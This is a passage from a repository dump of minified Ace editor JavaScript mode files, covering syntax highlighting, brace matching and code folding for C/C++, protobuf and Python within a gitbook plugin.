r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.cFunctions=\"\\\\b(?:hypot(?:f|l)?|s(?:scanf|ystem|nprintf|ca(?:nf|lb(?:n(?:f|l)?|ln(?:f|l)?))|i(?:n(?:h(?:f|l)?|f|l)?|gn(?:al|bit))|tr(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?)|error|pbrk|ftime|len|rchr|xfrm)|printf|et(?:jmp|vbuf|locale|buf)|qrt(?:f|l)?|w(?:scanf|printf)|rand)|n(?:e(?:arbyint(?:f|l)?|xt(?:toward(?:f|l)?|after(?:f|l)?))|an(?:f|l)?)|c(?:s(?:in(?:h(?:f|l)?|f|l)?|qrt(?:f|l)?)|cos(?:h(?:f)?|f|l)?|imag(?:f|l)?|t(?:ime|an(?:h(?:f|l)?|f|l)?)|o(?:s(?:h(?:f|l)?|f|l)?|nj(?:f|l)?|pysign(?:f|l)?)|p(?:ow(?:f|l)?|roj(?:f|l)?)|e(?:il(?:f|l)?|xp(?:f|l)?)|l(?:o(?:ck|g(?:f|l)?)|earerr)|a(?:sin(?:h(?:f|l)?|f|l)?|cos(?:h(?:f|l)?|f|l)?|tan(?:h(?:f|l)?|f|l)?|lloc|rg(?:f|l)?|bs(?:f|l)?)|real(?:f|l)?|brt(?:f|l)?)|t(?:ime|o(?:upper|lower)|an(?:h(?:f|l)?|f|l)?|runc(?:f|l)?|gamma(?:f|l)?|mp(?:nam|file))|i(?:s(?:space|n(?:ormal|an)|cntrl|inf|digit|u(?:nordered|pper)|p(?:unct|rint)|finite|w(?:space|c(?:ntrl|type)|digit|upper|p(?:unct|rint)|lower|al(?:num|pha)|graph|xdigit|blank)|l(?:ower|ess(?:equal|greater)?)|al(?:num|pha)|gr(?:eater(?:equal)?|aph)|xdigit|blank)|logb(?:f|l)?|max(?:div|abs))|di(?:v|fftime)|_Exit|unget(?:c|wc)|p(?:ow(?:f|l)?|ut(?:s|c(?:har)?|wc(?:har)?)|error|rintf)|e(?:rf(?:c(?:f|l)?|f|l)?|x(?:it|p(?:2(?:f|l)?|f|l|m1(?:f|l)?)?))|v(?:s(?:scanf|nprintf|canf|printf|w(?:scanf|printf))|printf|f(?:scanf|printf|w(?:scanf|printf))|w(?:scanf|printf)|a_(?:start|copy|end|arg))|qsort|f(?:s(?:canf|e(?:tpos|ek))|close|tell|open|dim(?:f|l)?|p(?:classify|ut(?:s|c|w(?:s|c))|rintf)|e(?:holdexcept|set(?:e(?:nv|xceptflag)|round)|clearexcept|testexcept|of|updateenv|r(?:aiseexcept|ror)|get(?:e(?:nv|xceptflag)|round))|flush|w(?:scanf|ide|printf|rite)|loor(?:f|l)?|abs(?:f|l)?|get(?:s|c|pos|w(?:s|c))|re(?:open|e|ad|xp(?:f|l)?)|m(?:in(?:f|l)?|od(?:f|l)?|a(?:f|l|x(?:f|l)?)?))|l(?:d(?:iv|exp(?:f|l)?)|o(?:ngjmp|cal(?:time|econv)|g(?:1(?:p(?:f|l)?|0(?:f|l)?)|2(?:f|l)?|f|l|b(?:f|l)?)?)|abs|l(?:div|abs|r(?:int(?:f|l)?|ound(?:f|l)?))|r(?:int(?:f|l)?|ound(?:f|l)?)|gamma(?:f|l)?)|w(?:scanf|c(?:s(?:s(?:tr|pn)|nc(?:py|at|mp)|c(?:spn|hr|oll|py|at|mp)|to(?:imax|d|u(?:l(?:l)?|max)|k|f|l(?:d|l)?|mbs)|pbrk|ftime|len|r(?:chr|tombs)|xfrm)|to(?:b|mb)|rtomb)|printf|mem(?:set|c(?:hr|py|mp)|move))|a(?:s(?:sert|ctime|in(?:h(?:f|l)?|f|l)?)|cos(?:h(?:f|l)?|f|l)?|t(?:o(?:i|f|l(?:l)?)|exit|an(?:h(?:f|l)?|2(?:f|l)?|f|l)?)|b(?:s|ort))|g(?:et(?:s|c(?:har)?|env|wc(?:har)?)|mtime)|r(?:int(?:f|l)?|ound(?:f|l)?|e(?:name|alloc|wind|m(?:ove|quo(?:f|l)?|ainder(?:f|l)?))|a(?:nd|ise))|b(?:search|towc)|m(?:odf(?:f|l)?|em(?:set|c(?:hr|py|mp)|move)|ktime|alloc|b(?:s(?:init|towcs|rtowcs)|towc|len|r(?:towc|len))))\\\\b\",u=function(){var e=\"break|case|continue|default|do|else|for|goto|if|_Pragma|return|switch|while|catch|operator|try|throw|using\",t=\"asm|__asm__|auto|bool|_Bool|char|_Complex|double|enum|float|_Imaginary|int|long|short|signed|struct|typedef|union|unsigned|void|class|wchar_t|template|char16_t|char32_t\",n=\"const|extern|register|restrict|static|volatile|inline|private|protected|public|friend|explicit|virtual|export|mutable|typename|constexpr|new|delete|alignas|alignof|decltype|noexcept|thread_local\",r=\"and|and_eq|bitand|bitor|compl|not|not_eq|or|or_eq|typeid|xor|xor_eqconst_cast|dynamic_cast|reinterpret_cast|static_cast|sizeof|namespace\",s=\"NULL|true|false|TRUE|FALSE|nullptr\",u=this.$keywords=this.createKeywordMapper({\"keyword.control\":e,\"storage.type\":t,\"storage.modifier\":n,\"keyword.operator\":r,\"variable.language\":\"this\",\"constant.language\":s},\"identifier\"),a=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Zd\\\\$_\\u00a1-\\uffff]*\\\\b\";this.$rules={start:[{token:\"comment\",regex:\"//$\",next:\"start\"},{token:\"comment\",regex:\"//\",next:\"singleLineComment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?(L|l|UL|ul|u|U|F|f|ll|LL|ull|ULL)?\\\\b\"},{token:\"keyword\",regex:\"#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b\",next:\"directive\"},{token:\"keyword\",regex:\"#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b\"},{token:\"support.function.C99.c\",regex:o},{token:u,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"punctuation.operator\",regex:\"\\\\?|\\\\:|\\\\,|\\\\;|\\\\.\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],singleLineComment:[{token:\"comment\",regex:/\\\\$/,next:\"singleLineComment\"},{token:\"comment\",regex:/$/,next:\"start\"},{defaultToken:\"comment\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{defaultToken:\"string\"}],directive:[{token:\"constant.other.multiline\",regex:/\\\\/},{token:\"constant.other.multiline\",regex:/.*\\\\/},{token:\"constant.other\",regex:\"\\\\s*<.+?>\",next:\"start\"},{token:\"constant.other\",regex:'\\\\s*[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]',next:\"start\"},{token:\"constant.other\",regex:\"\\\\s*['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\",next:\"start\"},{token:\"constant.other\",regex:/[^\\\\\\/]+/,next:\"start\"}]},this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,s),t.c_cppHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/c_cpp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c_cpp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c_cpp_highlight_rules\").c_cppHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c_cpp\"}.call(l.prototype),t.Mode=l}),define(\"ace/mode/protobuf_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"double|float|int32|int64|uint32|uint64|sint32|sint64|fixed32|fixed64|sfixed32|sfixed64|bool|string|bytes\",t=\"message|required|optional|repeated|package|import|option|enum\",n=this.createKeywordMapper({\"keyword.declaration.protobuf\":t,\"support.type\":e},\"identifier\");this.$rules={start:[{token:\"comment\",regex:/\\/\\/.*$/},{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"constant\",regex:\"<[^>]+>\"},{regex:\"=\",token:\"keyword.operator.assignment.protobuf\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:n,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.normalizeRules()};r.inherits(s,i),t.ProtobufHighlightRules=s}),define(\"ace/mode/protobuf\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/c_cpp\",\"ace/mode/protobuf_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./c_cpp\").Mode,s=e(\"./protobuf_highlight_rules\").ProtobufHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){i.call(this),this.foldingRules=new o,this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/protobuf\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-python.js",
    "content": "define(\"ace/mode/python_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"and|as|assert|break|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|not|or|pass|print|raise|return|try|while|with|yield\",t=\"True|False|None|NotImplemented|Ellipsis|__debug__\",n=\"abs|divmod|input|open|staticmethod|all|enumerate|int|ord|str|any|eval|isinstance|pow|sum|basestring|execfile|issubclass|print|super|binfile|iter|property|tuple|bool|filter|len|range|type|bytearray|float|list|raw_input|unichr|callable|format|locals|reduce|unicode|chr|frozenset|long|reload|vars|classmethod|getattr|map|repr|xrange|cmp|globals|max|reversed|zip|compile|hasattr|memoryview|round|__import__|complex|hash|min|set|apply|delattr|help|next|setattr|buffer|dict|hex|object|slice|coerce|dir|id|oct|sorted|intern\",r=this.createKeywordMapper({\"invalid.deprecated\":\"debugger\",\"support.function\":n,\"constant.language\":t,keyword:e},\"identifier\"),i=\"(?:r|u|ur|R|U|UR|Ur|uR)?\",s=\"(?:(?:[1-9]\\\\d*)|(?:0))\",o=\"(?:0[oO]?[0-7]+)\",u=\"(?:0[xX][\\\\dA-Fa-f]+)\",a=\"(?:0[bB][01]+)\",f=\"(?:\"+s+\"|\"+o+\"|\"+u+\"|\"+a+\")\",l=\"(?:[eE][+-]?\\\\d+)\",c=\"(?:\\\\.\\\\d+)\",h=\"(?:\\\\d+)\",p=\"(?:(?:\"+h+\"?\"+c+\")|(?:\"+h+\"\\\\.))\",d=\"(?:(?:\"+p+\"|\"+h+\")\"+l+\")\",v=\"(?:\"+d+\"|\"+p+\")\",m=\"\\\\\\\\(x[0-9A-Fa-f]{2}|[0-7]{3}|[\\\\\\\\abfnrtv'\\\"]|U[0-9A-Fa-f]{8}|u[0-9A-Fa-f]{4})\";this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"string\",regex:i+'\"{3}',next:\"qqstring3\"},{token:\"string\",regex:i+'\"(?=.)',next:\"qqstring\"},{token:\"string\",regex:i+\"'{3}\",next:\"qstring3\"},{token:\"string\",regex:i+\"'(?=.)\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"(?:\"+v+\"|\\\\d+)[jJ]\\\\b\"},{token:\"constant.numeric\",regex:v},{token:\"constant.numeric\",regex:f+\"[lL]\\\\b\"},{token:\"constant.numeric\",regex:f+\"\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|%|<<|>>|&|\\\\||\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring3:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:'\"{3}',next:\"start\"},{defaultToken:\"string\"}],qstring3:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"'{3}\",next:\"start\"},{defaultToken:\"string\"}],qqstring:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"start\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:m},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"start\"},{defaultToken:\"string\"}]}};r.inherits(s,i),t.PythonHighlightRules=s}),define(\"ace/mode/folding/pythonic\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e){this.foldingStartMarker=new RegExp(\"([\\\\[{])(?:\\\\s*)$|(\"+e+\")(?:\\\\s*)(?:#.*)?$\")};r.inherits(s,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=e.getLine(n),i=r.match(this.foldingStartMarker);if(i)return i[1]?this.openingBracketBlock(e,i[1],n,i.index):i[2]?this.indentationBlock(e,n,i.index+i[2].length):this.indentationBlock(e,n)}}.call(s.prototype)}),define(\"ace/mode/python\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/python_highlight_rules\",\"ace/mode/folding/pythonic\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./python_highlight_rules\").PythonHighlightRules,o=e(\"./folding/pythonic\").FoldMode,u=e(\"../range\").Range,a=function(){this.HighlightRules=s,this.foldingRules=new o(\"\\\\:\")};r.inherits(a,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[\\:]\\s*$/);o&&(r+=n)}return r};var e={pass:1,\"return\":1,raise:1,\"break\":1,\"continue\":1};this.checkOutdent=function(t,n,r){if(r!==\"\\r\\n\"&&r!==\"\\r\"&&r!==\"\\n\")return!1;var i=this.getTokenizer().getLineTokens(n.trim(),t).tokens;if(!i)return!1;do var s=i.pop();while(s&&(s.type==\"comment\"||s.type==\"text\"&&s.value.match(/^\\s+$/)));return s?s.type==\"keyword\"&&e[s.value]:!1},this.autoOutdent=function(e,t,n){n+=1;var r=this.$getIndent(t.getLine(n)),i=t.getTabString();r.slice(-i.length)==i&&t.remove(new u(n,r.length-i.length,n,r.length))},this.$id=\"ace/mode/python\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-r.js",
